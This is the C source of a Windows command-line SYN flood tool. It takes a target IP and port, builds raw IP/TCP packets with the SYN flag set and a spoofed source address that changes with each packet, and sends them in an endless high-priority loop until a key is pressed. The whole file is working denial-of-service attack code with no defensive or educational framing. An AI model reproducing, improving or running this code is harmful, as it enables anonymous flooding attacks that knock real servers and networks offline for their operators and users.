#pragma comment(lib,"ws2_32")
#pragma comment(lib,"wsock32")
#define FAKE_IP "201.79.131.18"
#define SEQ 0x28376839
#define right "===============Coder Paris-ye====================\n"
USHORT checksum(USHORT *buffer, int size);
int flood();

typedef struct tcphdr
{
 USHORT th_sport;
 USHORT th_dport;
 unsigned int th_seq;
 unsigned int th_ack;
 unsigned char th_lenres;
 unsigned char th_flag;
 USHORT th_win;
 USHORT th_sum;
 USHORT th_urp;
}TCP_HEADER;

typedef struct iphdr
{
 unsigned char h_verlen;
 unsigned char tos;
 unsigned short total_len;
 unsigned short ident;
 unsigned short frag_and_flags;
 unsigned char  ttl;
 unsigned char proto;
 unsigned short checksum;
 unsigned int sourceIP;
 unsigned int destIP;
}IP_HEADER;

struct
{
 unsigned long saddr;
 unsigned long daddr;
 char mbz;
 char ptcl;
 unsigned short tcpl;
}PSD_HEADER;

WSADATA wsaData;
SOCKET  sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
char        sendBuf[128];

USHORT checksum(USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1) {
  cksum+=*buffer++;
  size-=sizeof(USHORT);
 }
 if(size) cksum+=*(UCHAR*)buffer;
 cksum=(cksum >> 16)+(cksum&0xffff);
 cksum+=(cksum >>16);
 return (USHORT)(~cksum);
}

int main(int argc,char* argv[])
{
 int    portNum=0;
 DWORD  dw;
 HANDLE hThread=NULL;
 char   putInfo;

 if(argc!=3)
 {
  printf("%s\n",right);
  printf("Invalid command,Pls use:\n%s  <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
  return 1;
 }
 if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
         printf("WSAStartup failed: %d\n",ErrorCode);
         return 2;
 }
 sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
 if(sockMain==INVALID_SOCKET)
 {
  printf("Socket failed: %d\n",WSAGetLastError());
 return 3;
 }
 ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
 if(ErrorCode==SOCKET_ERROR)
 {
         printf("Set sockopt failed: %d\n",WSAGetLastError());
  return 4;
 }
 ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
 if(ErrorCode==SOCKET_ERROR)
 {
         printf("Set sockopt time out failed: %d\n",WSAGetLastError());
 return 5;
 }
 portNum=atoi(argv[2]);

 memset(&sockAddr,0,sizeof(sockAddr));
 sockAddr.sin_family=AF_INET;
 sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
 FakeIpNet=inet_addr(FAKE_IP);
 FakeIpHost=ntohl(FakeIpNet);

 ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
 ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
 ipheader.ident = 1;
 ipheader.frag_and_flags = 0;
 ipheader.ttl = 128;
 ipheader.proto = IPPROTO_TCP;
 ipheader.checksum =0;
 ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
 ipheader.destIP = inet_addr(argv[1]);

 tcpheader.th_dport=htons(portNum);
 tcpheader.th_sport = htons(portNum);
 tcpheader.th_seq = htonl(SEQ+SendSEQ);
 tcpheader.th_ack = 0;
 tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
 tcpheader.th_flag = 2;
 tcpheader.th_win = htons(16384);
 tcpheader.th_urp = 0;
 tcpheader.th_sum = 0;

 PSD_HEADER.saddr=ipheader.sourceIP;
 PSD_HEADER.daddr=ipheader.destIP;
 PSD_HEADER.mbz=0;
 PSD_HEADER.ptcl=IPPROTO_TCP;
 PSD_HEADER.tcpl=htons(sizeof(tcpheader));
 printf("%s\n",right);
 hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
 SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
 ResumeThread(hThread);
 printf("Warning[start]...........\nPress any key to stop!\n");
 putInfo=getchar();
 TerminateThread(hThread,0);
 WSACleanup();
 printf("\nStopd...........\n");

 return 0;
}

int flood()
{
 while(1)
 {
  if(SendSEQ++==65536) SendSEQ=1;
  if(activPort++==40010) activPort=1000;
  ipheader.checksum =0;
  ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
  tcpheader.th_seq = htonl(SEQ+SendSEQ);
  tcpheader.th_sport = htons(activPort);
  tcpheader.th_sum = 0;
  PSD_HEADER.saddr=ipheader.sourceIP;
  memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
  memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
  tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

  memcpy(sendBuf,&ipheader,sizeof(ipheader));
  memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
  memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
  dataSize=sizeof(ipheader)+sizeof(tcpheader);
  ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
  memcpy(sendBuf,&ipheader,sizeof(ipheader));
  ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
  if(ErrorCode==SOCKET_ERROR)
  {
   printf("\nCan't connect this IP!Pls check it.\n");
   ExitThread(1);
  }
  // Sleep(1000);
 }
 return 0;
}